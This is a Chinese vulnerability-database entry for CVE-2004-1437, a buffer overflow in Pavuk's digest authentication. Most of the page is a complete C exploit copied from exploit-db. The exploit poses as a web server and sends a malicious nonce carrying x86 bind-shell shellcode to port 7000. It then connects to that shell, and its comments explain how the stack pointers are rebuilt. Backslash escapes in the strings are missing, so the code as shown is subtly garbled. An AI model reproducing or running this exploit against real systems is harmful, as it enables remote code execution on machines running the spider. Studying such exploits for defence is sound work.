Pavuk远程摘要式身份验证缓冲区溢出漏洞

Pavuk远程摘要式身份验证缓冲区溢出漏洞

漏洞ID 1108113 漏洞类型 缓冲区溢出
发布时间 2004-08-08 更新时间 2005-10-20
图片[1]-Pavuk远程摘要式身份验证缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-1437
图片[2]-Pavuk远程摘要式身份验证缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200412-352
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/380
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-352
|漏洞详情
Pavuk0.9.28-r2及其早期版本的摘要式身份验证函数存在多个缓冲区溢出漏洞。远程攻击者可以利用该漏洞执行任意代码。
|漏洞EXP
/*
 * exploit for pavuk web spider - infamous42md AT hotpop DOT com
 *
 *  shouts to mitakeet, skullandcircle, and thanks to matt murphy for making me
 *  realize a n00bish mistake i made.
 * 
 * this exploit probably deserves a bit of an explanation as it was not exactly
 * straight forward.  the vulnerable code looks like this, with some comments
 * inlined by me:
 */
#if 0
char *http_get_digest_auth_str(auth_digest, method, user, pass, urlp, buf)
http_digest_info *auth_digest;
char *method;
char *user;
char *pass;
url *urlp;
char *buf;
{
    /* this is the buffer we bitch slap */
	char pom[1024];
	char *a1,*a2,*a3;
	char *d = url_encode_str(urlp->p.http.document, URL_PATH_UNSAFE);

    /* not yet */
	sprintf(pom, "%s:%s:%s", user, auth_digest->realm, pass);
	a1 = _md5(pom);
	sprintf(pom, "%s:%s", method, d);

    /* this turns into a 32 byte string */
	a2 = _md5(pom);

    /* 
     * this is the point that we overflow the buffer.  we control
     * auth_digest->nonce, and that is where all of our evil code go.  but crap,
     * look, the string a2 gets appended to the nonce buffer, that means
     * whatever lives above the saved EIP we overwrite is going to get fuxxored
     * to.  that means the arguments to the function get trashed, usually not a
     * problem, but look below at the following sprintf().  those variables get 
     * used again, so we have to restore them to a sane state.  
     */ 
    sprintf(pom, "%s:%s:%s", a1, auth_digest->nonce, a2); 
    a3 = _md5(pom);

    /* crap */
	sprintf(buf,
		"Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"" , 
		user, auth_digest->realm, auth_digest->nonce, d, a3);

    /* more crap, we need to repair nearly all of the parameters */
	if (auth_digest->opaque)
	{
		strcat(buf, ", opaque="");
		strcat(buf, auth_digest->opaque);
		strcat(buf, """);
	}
	_free(d);
	_free(a1);
	_free(a2);
	_free(a3);

	return buf;
}
#endif
/*  
 *  so u can see we can't just overflow and go.  we need to recreate at least
 *  the auth_digest pointer, the user pointer, and the buf pointer.  so, the
 *  strategy is as follows:
 *
 *  + overwrite auth_digest to point into the buffer we control
 *  + where we point auth_digest must also contain valid pointers as they are
 *  used as the strings that get printed into buffer.
 *  + so we point those pointers towards the very end of our buffer.  the
 *  strings they point to should not be so long. our buffer is NULL termed so if
 *  they point towards the end of it, we know they'll end at a set point.
 *  + we set the user pointer to the same place as the auth_digest pointer.
 *  + we set buf to point past the end of our buffer, at some higher address.
 *  that is where all the other strings get printed to in sprintf() and
 *  strcat().
 *  + and that's about it. so our buffer looks like this:
 *
 *                          <-------------------|
 *  ALIGN NOPS SHELL STRING_PTRS RETADDR USER_AND_DIGEST_PTRS BUF_PTRS 
 *                      |----------------------------^           |------^
 *
 *  the only arg you pass is the base address of the buffer that we overwrite,
 *  which lays somewhere on the stack.  note this is not the location of our
 *  original buffer, but the location of the pom variable from above func.  and
 *  you need to be root as we bind to port 80 and pretend to be a webserver.
 * 
 *  [[email protected]] ./ps       
 *      Usage: ./ps <base of nonce buffer>
 *  
 *  [[email protected]] ./ps 0xbfffdb34
 *  got a shell
 *
 *  id
 *  uid=1000(n00b) gid=100(users) groups=100(users)
 *
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define SHELL_PORT 7000
#define HTTP_PORT 80
#define BS 0x1000

/* probably don't need all this */
char *reply = 
"HTTP/1.1 401 Authorization Requiredn"
"Date: Sat, 07 Aug 2004 02:10:07 GMTn"
"Server: Apache/1.3.27 (Unix) PHP/4.3.1n"
"WWW-Authenticate: Digest realm="time2die" nonce="%s"n"
"Status: 401 Not Authorizedn"
"Connection: closen"
"Content-Type: text/htmlrnrn";

/* call them */
char sc[] =
    "x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
    "xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
    "x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
    "x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
    "xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
    "x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
    "x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
    "x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
    

int conn(struct sockaddr_in *sap)
{
    int sock;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if(sock < 0)
        die("socket");
    if(connect(sock, (struct sockaddr *)sap, sizeof(*sap)) < 0)
        die("connect");

    return sock;
}
    
void shell(struct sockaddr_in *sap)
{
    int sock = 0, l = 0;
    char buf[BS];
    fd_set rfds;

    sap->sin_port = htons(SHELL_PORT);
    sock = conn(sap);

    printf("got a shellnn");
    FD_ZERO(&rfds);

    while (1) {
	    FD_SET(STDIN_FILENO, &rfds);
	    FD_SET(sock, &rfds);

	    if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
	        die("select");

	    if (FD_ISSET(STDIN_FILENO, &rfds)) {
	        if ((l = read(0, buf, BS)) <= 0)
		        die("n - Connection closed by usern");
	        if (write(sock, buf, l) < 1)
		        die("write");
	    }

	    if (FD_ISSET(sock, &rfds)) {
	        l = read(sock, buf, sizeof(buf));

	        if (l == 0)
		        die("n - Connection terminated.n");
	        else if (l < 0)
		        die("n - Read failuren");

	        if (write(1, buf, l) < 1)
		        die("write");
	    }
    }
}

int do_listen()
{
    int sock = 0, on = 1;
    struct sockaddr_in  sa;

    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(HTTP_PORT);
    sa.sin_addr.s_addr = INADDR_ANY;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if(sock < 0)
        die("socket");

    if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
        die("setsockopt");
    
    if(bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0)
        die("bind");

    if(listen(sock, 1) < 0)
        die("listen");
    
    return sock;
}

void sploit(int sock, struct sockaddr_in *sap, u_long nbase)
{
    int len = 0, x;
    char    buf[BS], evil_nonce[BS];
    u_long  retaddr, ptrs_to_struct, fake_structs, new_buf;

    memset(buf, 0, BS), memset(evil_nonce, 0, BS);
    
    /* read the req */
    if(recv(sock, buf, BS, 0) < 0)
        die("read");

    /* build the buffer */

#define ALIGN 3
#define NNOPS 100
#define SHELL_LEN 132
#define PTRS_OFFSET (ALIGN+NNOPS+SHELL_LEN) /* the string pointers */
#define PTRS_LEN 500
#define RET_OFFSET (PTRS_OFFSET+PTRS_LEN)
#define RET_LEN 288
#define PPTRS_OFFSET (RET_OFFSET+RET_LEN)   /* the pointers to pointers */
#define PPTRS_LEN 20
#define BUF_OFFSET (PPTRS_OFFSET+PPTRS_LEN) /* the pointer to new buf */
#define BUF_LEN 20
#define TOTAL_LEN (BUF_OFFSET+BUF_LEN)

#define PTRS_LOC 1000   /* where the strings point to */
#define PPTRS_LOC 300   /* offset from base to the string pointers */
#define RET_LOC 50      /* offset of NOP buffer */
    fake_structs = nbase + PTRS_LOC;
    retaddr = nbase + RET_LOC;
    ptrs_to_struct = nbase + PPTRS_LOC;
    new_buf = nbase + TOTAL_LEN*2;

    /* the NOPS and shellcode */
    memset(evil_nonce, 'A', ALIGN);
    memset(evil_nonce+ALIGN, 0x90, BS);
    memcpy(evil_nonce+NNOPS+ALIGN, sc, SHELL_LEN);

    /* the fake pointers point towards end of buffer */
    for(x = 0; x < PTRS_LEN-3; x += sizeof(fake_structs))
        memcpy(evil_nonce+PTRS_OFFSET+x, &fake_structs, sizeof(fake_structs));

    /* the ret addr */
    for(x = 0; x < RET_LEN; x += sizeof(retaddr))
        memcpy(evil_nonce+RET_OFFSET+x, &retaddr, sizeof(retaddr));

    /* the pointers to the fake pointers */
    for(x = 0; x < PPTRS_LEN; x+= sizeof(ptrs_to_struct))
        memcpy(evil_nonce+PPTRS_OFFSET+x, &ptrs_to_struct, sizeof(ptrs_to_struct));

    /* and the new location for buf */
    for(x = 0; x < BUF_LEN; x+= sizeof(new_buf))
        memcpy(evil_nonce+BUF_OFFSET+x, &new_buf, sizeof(new_buf));
    
    evil_nonce[TOTAL_LEN] = 0;

    /* fill in HTTP reply */
    len = snprintf(buf, BS-1, reply, evil_nonce);

    /* i dont care what u request, you're getting the sploit */
    if(send(sock, buf, len, 0) < 0)
        die("send");

    close(sock);

    sleep(1);
    shell(sap);
}

int main(int argc, char **argv)
{
    int lsock, asock;
    u_long    nbase = 0;
    struct sockaddr_in  sa;
    pid_t   cpid;
    socklen_t   salen;

    if(argc < 2){
        fprintf(stderr, "tUsage: %s <base of nonce buffer>n", argv[0]);
        return EXIT_FAILURE;
    }
    sscanf(argv[1], "%lxn", &nbase);
    
    lsock = do_listen();

    while(1){
        asock = accept(lsock, (struct sockaddr *)&sa, &salen);

        if( (cpid = fork()) == 0)
            sploit(asock, &sa, nbase);
        else if(cpid < 0)
            die("fork");
        
        close(asock);
    }

    return EXIT_SUCCESS;
}


// milw0rm.com [2004-08-08]
|参考资料

来源:BID
名称:10797
链接:http://www.securityfocus.com/bid/10797
来源:GENTOO
名称:GLSA-200407-19
链接:http://www.gentoo.org/security/en/glsa/glsa-200407-19.xml
来源:XF
名称:pavuk-digest-auth-bo(16807)
链接:http://xforce.iss.net/xforce/xfdb/16807

相关推荐: Elm缓冲区溢出漏洞

Elm缓冲区溢出漏洞 漏洞ID 1105298 漏洞类型 缓冲区溢出 发布时间 1997-05-13 更新时间 1997-05-13 CVE编号 CVE-1999-1184 CNNVD-ID CNNVD-199705-012 漏洞平台 Linux CVSS评分…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享